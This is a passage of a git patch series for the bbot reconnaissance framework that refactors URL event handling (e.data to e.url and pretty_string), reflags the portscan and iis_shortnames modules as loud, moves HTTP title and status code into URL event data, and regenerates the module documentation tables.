"https://www.careers.example.com/" for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and e.url == "https://www.careers.example.com/" for e in events), ( "Failed to detect URL" ) diff --git a/bbot/test/test_step_2/module_tests/test_module_speculate.py b/bbot/test/test_step_2/module_tests/test_module_speculate.py index 798432a2d0..38881947bd 100644 --- a/bbot/test/test_step_2/module_tests/test_module_speculate.py +++ b/bbot/test/test_step_2/module_tests/test_module_speculate.py @@ -19,7 +19,7 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any(e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/subdir1/" for e in events) + assert any(e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/subdir1/" for e in events) class TestSpeculate_OpenPorts(ModuleTestBase): diff --git a/bbot/test/test_step_2/module_tests/test_module_urlscan.py b/bbot/test/test_step_2/module_tests/test_module_urlscan.py index d108f2f565..de767e358c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_urlscan.py +++ b/bbot/test/test_step_2/module_tests/test_module_urlscan.py @@ -55,4 +55,4 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" - assert any(e.data == "https://asdf.blacklanternsecurity.com/cna.html" for e in events), "Failed to detect URL" + assert any(e.url == "https://asdf.blacklanternsecurity.com/cna.html" for e in events), "Failed to detect URL" From 6dae4d28c5e2ba807c3bd763cdda20346e1c8a43 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 18:27:25 -0400 Subject: [PATCH 370/912] Reclassify portscan and iis_shortnames as loud --- bbot/modules/iis_shortnames.py | 2 +- bbot/modules/portscan.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 5e9b153f59..5dabd7cb2f 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -16,7 +16,7 @@ class IISShortnamesError(Exception): class iis_shortnames(BaseModule): watched_events = ["URL"] produced_events = ["URL_HINT"] - flags = ["safe", "active", "web", "iis-shortnames"] + flags = ["loud", "active", "web", "iis-shortnames"] meta = { "description": "Check for IIS shortname vulnerability", "created_date": "2022-04-15", diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index 101f585d98..c4897d507b 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -10,7 +10,7 @@ class portscan(BaseModule): - flags = ["safe", "active", "portscan"] + flags = ["loud", "active", "portscan"] watched_events = ["IP_ADDRESS", "IP_RANGE", "DNS_NAME"] produced_events = ["OPEN_TCP_PORT"] meta = { From 0a5051d71021a912fd1c19e37b35c41867634ed7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 18:34:13 -0400 Subject: [PATCH 371/912] Fix test assertions for URL dict data and event_data lists --- bbot/test/test_step_1/test_scan.py | 4 ++-- bbot/test/test_step_1/test_target.py | 4 ++-- .../test_step_2/module_tests/test_module_excavate.py | 12 +++++++----- 3 files changed, 11 insertions(+), 9 deletions(-) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 6a09fa8156..8e806e8f42 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -69,7 +69,7 @@ async def test_scan( events = [] async for event in scan4.async_start(): events.append(event) - event_data = [e.data for e in events] + event_data = [e.pretty_string for e in events] assert "one.one.one.one" in event_data # make sure it doesn't work when you turn it off @@ -79,7 +79,7 @@ async def test_scan( events = [] async for event in scan5.async_start(): events.append(event) - event_data = [e.data for e in events] + event_data = [e.pretty_string for e in events] assert "one.one.one.one" not in event_data for scan in (scan0, scan1, scan2, scan4, scan5): diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index a1344f4b30..f19412c76f 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -629,7 +629,7 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): await scan._prep() assert {r.pattern for r in scan.target.blacklist.blacklist_regexes} == {r"/.*(sign|log)[_-]?out"} events = [e async for e in scan.async_start()] - urls = [e.data for e in events if e.type == "URL"] + urls = [e.url for e in events if e.type == "URL"] assert len(urls) == 2 assert set(urls) == {"http://127.0.0.1:8888/", "http://127.0.0.1:8888/asdfevil333asdf"} @@ -649,7 +649,7 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): r"/.*(sign|log)[_-]?out", } events = [e async for e in scan.async_start()] - urls = [e.data for e in events if e.type == "URL"] + urls = [e.url for e in events if e.type == "URL"] assert len(urls) == 1 assert set(urls) == {"http://127.0.0.1:8888/"} diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 299cc9f1c5..86e8376404 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -64,7 +64,7 @@ async def handle_event(self, event): module_test.scan.modules["dummy_module"] = DummyModule(module_test.scan) def check(self, module_test, events): - event_data = [e.data for e in events] + event_data = [e.pretty_string for e in events] assert "https://www1.test.notreal/" in event_data assert "https://www2.test.notreal/" in event_data assert "https://www3.test.notreal/" in event_data @@ -83,7 +83,7 @@ def check(self, module_test, events): assert "http://127.0.0.1:8888/link_relative.js" not in event_data assert "http://127.0.0.1:8888/a_relative.txt" in event_data assert "http://127.0.0.1:8888/link_relative.txt" in event_data - dummy_module_event_data = [e.data for e in module_test.scan.modules["dummy_module"].events_seen] + dummy_module_event_data = [e.pretty_string for e in module_test.scan.modules["dummy_module"].events_seen] assert "http://127.0.0.1:8888/a_relative.js" in dummy_module_event_data assert "http://127.0.0.1:8888/link_relative.js" in dummy_module_event_data assert "http://127.0.0.1:8888/a_relative.txt" in dummy_module_event_data @@ -382,7 +382,9 @@ def check(self, module_test, events): url_unverified_events = [e for e in events if e.type == "URL_UNVERIFIED"] # base URL + 25 links = 26 assert len(url_unverified_events) == 26 - url_data = [e.data for e in url_unverified_events if "spider-max" not in e.tags and "spider-danger" in e.tags] + url_data = [ + e.pretty_string for e in url_unverified_events if "spider-max" not in e.tags and "spider-danger" in e.tags + ] assert len(url_data) >= 10 and len(url_data) <= 12 url_events = [e for e in events if e.type == "URL"] assert len(url_events) == 11 @@ -1450,7 +1452,7 @@ def check(self, module_test, events): for e in finding_events ), f"Failed to emit serialized event got {finding_events}" assert finding_events[0].data["path"] == str(file), "File path not included in finding event" - url_events = [e.data for e in events if e.type == "URL_UNVERIFIED"] + url_events = [e.pretty_string for e in events if e.type == "URL_UNVERIFIED"] assert "https://www.test.notreal/about" in url_events, ( f"URL extracted from kreuzberg text is incorrect, got {url_events}" ) @@ -1525,7 +1527,7 @@ def check(self, module_test, events): assert "Error sanitizing event data" not in debug_log_content url_events = [e for e in events if e.type == "URL_UNVERIFIED"] - assert sorted([e.data for e in url_events]) == sorted(["https://ssl/", "http://127.0.0.1:8888/"]) + assert sorted([e.pretty_string for e in url_events]) == sorted(["https://ssl/", "http://127.0.0.1:8888/"]) class TestExcavateURL_InvalidPort(TestExcavate): From 3501f3acf8c02e228542b67501b828107dde6701 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 19:11:20 -0400 Subject: [PATCH 372/912] Fix more test assertions: e.data -> e.url/e.pretty_string for URL events --- .../module_tests/test_module_excavate.py | 4 ++-- .../test_step_2/module_tests/test_module_ffuf.py | 16 ++++++++-------- .../module_tests/test_module_httpx.py | 4 ++-- 3 files changed, 12 insertions(+), 12 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 86e8376404..35a1b19026 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -127,7 +127,7 @@ def check(self, module_test, events): ) assert any( - e.type == "URL_UNVERIFIED" and "miscellaneous.html" in e.data and "x50-uart-driver" not in e.data + e.type == "URL_UNVERIFIED" and "miscellaneous.html" in e.url and "x50-uart-driver" not in e.url for e in events ) @@ -1560,7 +1560,7 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): # excavate should skip PDF responses entirely, so no URLs or findings should be extracted from the body url_unverified_events = [ - e for e in events if e.type == "URL_UNVERIFIED" and "pdf-extracted.test.notreal" in e.data + e for e in events if e.type == "URL_UNVERIFIED" and "pdf-extracted.test.notreal" in e.url ] assert len(url_unverified_events) == 0, ( f"PDF body should not be processed by excavate, but got: {url_unverified_events}" diff --git a/bbot/test/test_step_2/module_tests/test_module_ffuf.py b/bbot/test/test_step_2/module_tests/test_module_ffuf.py index 3df659e159..854fb12a28 100644 --- a/bbot/test/test_step_2/module_tests/test_module_ffuf.py +++ b/bbot/test/test_step_2/module_tests/test_module_ffuf.py @@ -23,8 +23,8 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any(e.type == "URL_UNVERIFIED" and "admin" in e.data for e in events) - assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.data for e in events) + assert any(e.type == "URL_UNVERIFIED" and "admin" in e.url for e in events) + assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.url for e in events) class TestFFUF2(TestFFUF): @@ -41,8 +41,8 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any(e.type == "URL_UNVERIFIED" and "console" in e.data for e in events) - assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.data for e in events) + assert any(e.type == "URL_UNVERIFIED" and "console" in e.url for e in events) + assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.url for e in events) class TestFFUF_ignorecase(TestFFUF): @@ -65,8 +65,8 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any(e.type == "URL_UNVERIFIED" and "admin" in e.data for e in events) - assert not any(e.type == "URL_UNVERIFIED" and "Admin" in e.data for e in events) + assert any(e.type == "URL_UNVERIFIED" and "admin" in e.url for e in events) + assert not any(e.type == "URL_UNVERIFIED" and "Admin" in e.url for e in events) class TestFFUFHeaders(TestFFUF): @@ -86,5 +86,5 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any(e.type == "URL_UNVERIFIED" and "console" in e.data for e in events) - assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.data for e in events) + assert any(e.type == "URL_UNVERIFIED" and "console" in e.url for e in events) + assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.url for e in events) diff --git a/bbot/test/test_step_2/module_tests/test_module_httpx.py b/bbot/test/test_step_2/module_tests/test_module_httpx.py index aad0df03b2..03b69ff8e6 100644 --- a/bbot/test/test_step_2/module_tests/test_module_httpx.py +++ b/bbot/test/test_step_2/module_tests/test_module_httpx.py @@ -124,8 +124,8 @@ def check(self, module_test, events): assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/"]) assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/test.aspx"]) assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/test.txt"]) - assert not any(e for e in events if "URL" in e.type and ".svg" in e.data) - assert not any(e for e in events if "URL" in e.type and ".woff" in e.data) + assert not any(e for e in events if "URL" in e.type and ".svg" in e.url) + assert not any(e for e in events if "URL" in e.type and ".woff" in e.url) class TestHTTPX_querystring_removed(ModuleTestBase): From 09f61ded6f1f8efc6b92d15246d3eb60a70717c4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 19:25:09 -0400 Subject: [PATCH 373/912] Fix EventSeed url property, more test assertion fixes --- bbot/core/event/helpers.py | 6 ++++++ .../module_tests/test_module_bucket_file_enum.py | 4 ++-- .../module_tests/test_module_github_codesearch.py | 4 ++-- bbot/test/test_step_2/module_tests/test_module_retirejs.py | 2 +- 4 files changed, 11 insertions(+), 5 deletions(-) diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index b6ead990cb..f0012ddafc 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -122,6 +122,12 @@ def _override_input(self, input): def type(self): return self.__class__.__name__ + @property + def url(self): + if self.type == "URL_UNVERIFIED": + return self.data + return "" + @cached_property def _hash(self): return hash(self.input) diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py b/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py index fa0719141b..da939222ed 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py @@ -39,7 +39,7 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): files = list((self.download_dir / "filedownload").glob("*.pdf")) - assert any(e.type == "URL_UNVERIFIED" and e.data.endswith("test.pdf") for e in events) - assert not any(e.type == "URL_UNVERIFIED" and e.data.endswith("test.css") for e in events) + assert any(e.type == "URL_UNVERIFIED" and e.url.endswith("test.pdf") for e in events) + assert not any(e.type == "URL_UNVERIFIED" and e.url.endswith("test.css") for e in events) assert any(f.name.endswith("test.pdf") for f in files), "Failed to download PDF file from open bucket" assert not any(f.name.endswith("test.css") for f in files), "Unwanted CSS file was downloaded" diff --git a/bbot/test/test_step_2/module_tests/test_module_github_codesearch.py b/bbot/test/test_step_2/module_tests/test_module_github_codesearch.py index 2bd9993b20..7c161885aa 100644 --- a/bbot/test/test_step_2/module_tests/test_module_github_codesearch.py +++ b/bbot/test/test_step_2/module_tests/test_module_github_codesearch.py @@ -76,7 +76,7 @@ def check(self, module_test, events): [ e for e in events - if e.type == "URL_UNVERIFIED" and e.data == self.github_file_url and e.scope_distance == 2 + if e.type == "URL_UNVERIFIED" and e.url == self.github_file_url and e.scope_distance == 2 ] ), "Failed to emit URL_UNVERIFIED" assert 1 == len( @@ -90,7 +90,7 @@ def check(self, module_test, events): ] ), "Failed to emit CODE_REPOSITORY" assert 1 == len( - [e for e in events if e.type == "URL" and e.data == self.github_file_url and e.scope_distance == 2] + [e for e in events if e.type == "URL" and e.url == self.github_file_url and e.scope_distance == 2] ), "Failed to visit URL" assert 1 == len( [ diff --git a/bbot/test/test_step_2/module_tests/test_module_retirejs.py b/bbot/test/test_step_2/module_tests/test_module_retirejs.py index b9ce1ba3c1..3afbb6e593 100644 --- a/bbot/test/test_step_2/module_tests/test_module_retirejs.py +++ b/bbot/test/test_step_2/module_tests/test_module_retirejs.py @@ -97,7 +97,7 @@ def check(self, module_test, events): # The third, non-vulnerable URL (lodash.min.js) is not output because it's a "special URL", and # nothing interesting has been discovered from it. vuln_urls = {"http://127.0.0.1:8888/handlebars.min.js", "http://127.0.0.1:8888/jquery-3.4.1.min.js"} - assert {e.data for e in js_url_events} == vuln_urls, "Expected to find the vulnerable URLs in the output" + assert {e.url for e in js_url_events} == vuln_urls, "Expected to find the vulnerable URLs in the output" # Check for FINDING events generated by retirejs finding_events = [e for e in events if e.type == "FINDING"] From 0a371a7fb0cda8b055515ac5a3721cb32a947fb8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 21:17:35 -0400 Subject: [PATCH 374/912] Fix remaining event.data references in modules and tests --- bbot/modules/ffuf.py | 2 +- bbot/modules/internal/excavate.py | 2 +- bbot/modules/lightfuzz/lightfuzz.py | 2 +- .../module_tests/test_module_bucket_amazon.py | 23 +++---------------- .../module_tests/test_module_excavate.py | 2 +- .../module_tests/test_module_robots.py | 2 +- 6 files changed, 8 insertions(+), 25 deletions(-) diff --git a/bbot/modules/ffuf.py b/bbot/modules/ffuf.py index 335a70b9ae..4076b02024 100644 --- a/bbot/modules/ffuf.py +++ b/bbot/modules/ffuf.py @@ -59,7 +59,7 @@ async def setup(self): return True async def handle_event(self, event): - if self.helpers.url_depth(event.data) > self.config.get("max_depth"): + if self.helpers.url_depth(event.url) > self.config.get("max_depth"): self.debug("Exceeded max depth, aborting event") return diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 8402b1fba5..e2e450a8fb 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1245,7 +1245,7 @@ async def handle_event(self, event, **kwargs): reported_location_header = True await self.emit_event( url_event, - context=f'excavate looked in "Location" header and found {url_event.type}: {url_event.data}', + context=f'excavate looked in "Location" header and found {url_event.type}: {url_event.url}', ) # Try to extract parameters from the redirect URL diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index 2f98059e43..231081006f 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -156,7 +156,7 @@ async def handle_event(self, event): "type": "HEADER", "name": h, "original_value": None, - "url": event.data, + "url": event.url, "description": description, } await self.emit_event(data, "WEB_PARAMETER", event) diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py b/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py index 692b571e36..55220da36b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py @@ -75,33 +75,16 @@ def check(self, module_test, events): storage_buckets = [e for e in events if e.type == "STORAGE_BUCKET"] assert len(storage_buckets) == 3 assert 1 == len( - [ - e - for e in storage_buckets - if e.data["name"] == random_bucket_name_1 - and str(e.module) == "cloudcheck" - and f"cloud-{self.provider}" in e.tags - and f"{self.provider}-domain" in e.tags - ] + [e for e in storage_buckets if e.data["name"] == random_bucket_name_1 and str(e.module) == "cloudcheck"] ) assert 1 == len( - [ - e - for e in storage_buckets - if e.data["name"] == random_bucket_name_2 - and str(e.module) == "cloudcheck" - and f"cloud-{self.provider}" in e.tags - and f"{self.provider}-domain" in e.tags - ] + [e for e in storage_buckets if e.data["name"] == random_bucket_name_2 and str(e.module) == "cloudcheck"] ) assert 1 == len( [ e for e in storage_buckets - if e.data["name"] == random_bucket_name_3 - and str(e.module) == str(self.module_name) - and f"cloud-{module_test.module.cloudcheck_provider_name.lower()}" in e.tags - and f"{module_test.module.cloudcheck_provider_name.lower()}-domain" in e.tags + if e.data["name"] == random_bucket_name_3 and str(e.module) == str(self.module_name) ] ) # make sure open buckets were found diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 35a1b19026..4834d898ca 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1147,7 +1147,7 @@ class DummyModule(BaseModule): async def handle_event(self, event): await self.helpers.sleep(0.5) - self.events_seen.append(event.data) + self.events_seen.append(event.url) new_event = self.scan.make_event(event.data, "URL_UNVERIFIED", self.scan.root_event) if new_event is not None: await self.emit_event(new_event) diff --git a/bbot/test/test_step_2/module_tests/test_module_robots.py b/bbot/test/test_step_2/module_tests/test_module_robots.py index 7749c6bbde..a6898f4128 100644 --- a/bbot/test/test_step_2/module_tests/test_module_robots.py +++ b/bbot/test/test_step_2/module_tests/test_module_robots.py @@ -33,7 +33,7 @@ def check(self, module_test, events): if e.url == "http://127.0.0.1:8888/sitemap.txt": sitemap_bool = True - if re.match(r"http://127\.0\.0\.1:8888/\w+/wildcard\.txt", e.data): + if re.match(r"http://127\.0\.0\.1:8888/\w+/wildcard\.txt", e.url): wildcard_bool = True assert allow_bool From 78637988ccdcd4a291b39e082b7acd95fb264ecf Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 21:22:54 -0400 Subject: [PATCH 375/912] Fix bucket template filter and remaining test data references --- bbot/modules/templates/bucket.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index e06929501e..2e3afcb4ac 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -42,7 +42,7 @@ async def filter_event(self, event): return True def filter_bucket(self, event): - if not any(t.endswith(f"-{self.cloudcheck_provider_name.lower()}") for t in event.tags): + if self.cloudcheck_provider_name.lower() not in event.tags: return False, "bucket belongs to a different cloud provider" return True, "" From 2f055468fb36e24720dabeef440c3ac5ab0ee3c3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 21:30:28 -0400 Subject: [PATCH 376/912] Fix oauth event.data references for URL dict migration --- bbot/modules/oauth.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 6d6112d5db..640c4080a0 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -33,7 +33,7 @@ async def filter_event(self, event): return False async def handle_event(self, event): - _, domain = self.helpers.split_domain(event.data) + _, domain = self.helpers.split_domain(str(event.host)) source_domain = getattr(event, "source_domain", domain) if not self.scan.in_scope(source_domain): return @@ -46,9 +46,9 @@ async def handle_event(self, event): oidc_tasks.append(self.helpers.create_task(self.getoidc(f"https://login.windows.net/{domain}"))) if event.type == "URL_UNVERIFIED": - url = event.data + url = event.url else: - url = f"https://{event.pretty_string}" + url = f"https://{event.data}" oauth_tasks = [] if self.try_all or any(t in event.tags for t in ("oauth-token-endpoint",)): @@ -88,7 +88,7 @@ async def handle_event(self, event): context=f'{{module}} identified OpenID Connect Endpoint for "{source_domain}" at {{event.type}}: {url}', ) for result in oidc_results: - if result not in (domain, event.data): + if result not in (domain, str(event.host)): event_type = "URL_UNVERIFIED" if self.helpers.is_url(result) else "DNS_NAME" await self.emit_event( result, From 6a7971d3c642cb63ce1f6c449f679e276f53197f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 21:35:51 -0400 Subject: [PATCH 377/912] Move http_title and status_code into URL data dict --- bbot/core/event/base.py | 13 +++++-------- bbot/models/pydantic.py | 1 - bbot/models/sql.py | 1 - bbot/modules/httpx.py | 3 ++- 4 files changed, 7 insertions(+), 11 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index e767a6fb49..4b2da1b0f2 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -858,10 +858,6 @@ def json(self, mode="json"): web_spider_distance = getattr(self, "web_spider_distance", None) if web_spider_distance is not None: j["web_spider_distance"] = web_spider_distance - # http title - http_title = getattr(self, "http_title", "") - if http_title: - j["http_title"] = http_title # scope distance j["scope_distance"] = self.scope_distance # scan @@ -1290,14 +1286,12 @@ class URL_UNVERIFIED(DictHostEvent): _status_code_regex = re.compile(r"^status-(\d{1,3})$") __slots__ = [ - "_http_title", "web_spider_distance", "url_extension", "num_redirects", ] def __init__(self, *args, **kwargs): - self._http_title = "" self.web_spider_distance = 0 super().__init__(*args, **kwargs) self.num_redirects = getattr(self.parent, "num_redirects", 0) @@ -1406,6 +1400,9 @@ def _host(self): @property def http_status(self): + status_code = self.data.get("status_code", 0) + if status_code: + return int(status_code) for t in self.tags: match = self._status_code_regex.match(t) if match: @@ -1414,11 +1411,11 @@ def http_status(self): @property def http_title(self): - return self._http_title + return self.data.get("http_title", "") @http_title.setter def http_title(self, value): - self._http_title = value + self.data["http_title"] = value class URL(URL_UNVERIFIED): diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 712ad5a7a9..6f6d624338 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -83,7 +83,6 @@ class Event(BBOTBaseModel): netloc: Optional[str] = None resolved_hosts: Optional[List] = None dns_children: Optional[dict] = None - http_title: Optional[str] = None web_spider_distance: Optional[int] = None scope_distance: int = 10 scan: Annotated[str, "indexed"] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 1c5d416945..a419f6a56e 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -90,7 +90,6 @@ def get_data(self): reverse_host: Optional[str] = Field(default="", exclude=True, index=True) resolved_hosts: List = Field(default=[], sa_type=JSON) dns_children: dict = Field(default={}, sa_type=JSON) - http_title: Optional[str] = None web_spider_distance: Optional[int] = None scope_distance: int = Field(default=10, index=True) scan: str = Field(index=True) diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py index 43f4cf2e94..628ef4bb66 100644 --- a/bbot/modules/httpx.py +++ b/bbot/modules/httpx.py @@ -186,7 +186,7 @@ async def handle_batch(self, *events): # main URL tags = [f"status-{status_code}"] - url_context = "{module} visited {event.parent.data} and got status code {event.http_status}" + url_context = "{module} visited {event.parent.pretty_string} and got status code {event.http_status}" if parent_event.type == "OPEN_TCP_PORT": url_context += " at {event.pretty_string}" @@ -201,6 +201,7 @@ async def handle_batch(self, *events): httpx_ip = j.get("host", "") if httpx_ip: url_event._resolved_hosts.add(httpx_ip) + url_event.data["status_code"] = status_code title = j.get("title", "") if title: url_event.http_title = title From 624ee9e0ac4b964a1196d890a29d7aae0e7a0b02 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 24 Mar 2026 21:47:36 -0400 Subject: [PATCH 378/912] Regenerate docs for portscan/iis_shortnames loud reclassification --- docs/modules/list_of_modules.md | 4 +-- docs/scanning/configuration.md | 4 +-- docs/scanning/index.md | 48 ++++++++++++++++----------------- 3 files changed, 28 insertions(+), 28 deletions(-) diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 96885112e5..fad65e1ecd 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -31,7 +31,7 @@ | host_header | scan | No | Try common HTTP Host header spoofing techniques | active, loud, web-heavy | HTTP_RESPONSE | FINDING | @liquidsec | 2022-07-27 | | httpx | scan | No | Visit webpages. Many other modules rely on httpx | active, cloud-enum, safe, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @TheTechromancer | 2022-07-08 | | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | -| iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, safe, web | URL | URL_HINT | @liquidsec | 2022-04-15 | +| iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, loud, web | URL | URL_HINT | @liquidsec | 2022-04-15 | | legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, loud | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | | lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, invasive, loud, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | | medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, invasive, loud | PROTOCOL | FINDING | @christianfl | 2025-05-16 | @@ -42,7 +42,7 @@ | paramminer_cookies | scan | No | Smart brute-force to check for common HTTP cookie parameters | active, loud, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-27 | | paramminer_getparams | scan | No | Use smart brute-force to check for common HTTP GET parameters | active, loud, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-28 | | paramminer_headers | scan | No | Use smart brute-force to check for common HTTP header parameters | active, loud, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-04-15 | -| portscan | scan | No | Port scan with masscan. By default, scans top 100 ports. | active, portscan, safe | DNS_NAME, IP_ADDRESS, IP_RANGE | OPEN_TCP_PORT | @TheTechromancer | 2024-05-15 | +| portscan | scan | No | Port scan with masscan. By default, scans top 100 ports. | active, loud, portscan | DNS_NAME, IP_ADDRESS, IP_RANGE | OPEN_TCP_PORT | @TheTechromancer | 2024-05-15 | | reflected_parameters | scan | No | Highlight parameters that reflect their contents in response body | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2024-10-29 | | retirejs | scan | No | Detect vulnerable/out-of-date JavaScript libraries | active, safe, web-heavy | URL_UNVERIFIED | FINDING | @liquidsec | 2025-08-19 | | robots | scan | No | Look for and parse robots.txt | active, safe, web | URL | URL_UNVERIFIED | @liquidsec | 2023-02-01 | diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 0992c83117..bbc5aa7a22 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -423,7 +423,7 @@ In addition to the stated options for each module, the following universal optio | modules.gowitness.social | bool | Whether to screenshot social media webpages | False | | modules.gowitness.threads | int | How many gowitness threads to spawn (default is number of CPUs x 2) | 0 | | modules.gowitness.timeout | int | Preflight check timeout | 10 | -| modules.gowitness.version | str | Gowitness version | 3.0.5 | +| modules.gowitness.version | str | Gowitness version | 3.1.1 | | modules.graphql_introspection.graphql_endpoint_urls | list | List of GraphQL endpoint to suffix to the target URL | ['/', '/graphql', '/v1/graphql'] | | modules.graphql_introspection.output_folder | str | Folder to save the GraphQL schemas to | | | modules.httpx.in_scope_only | bool | Only visit web reparents that are in scope. | True | @@ -572,7 +572,7 @@ In addition to the stated options for each module, the following universal optio | modules.passivetotal.api_key | str | PassiveTotal API Key in the format of 'username:api_key' | | | modules.pgp.search_urls | list | PGP key servers to search |` ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 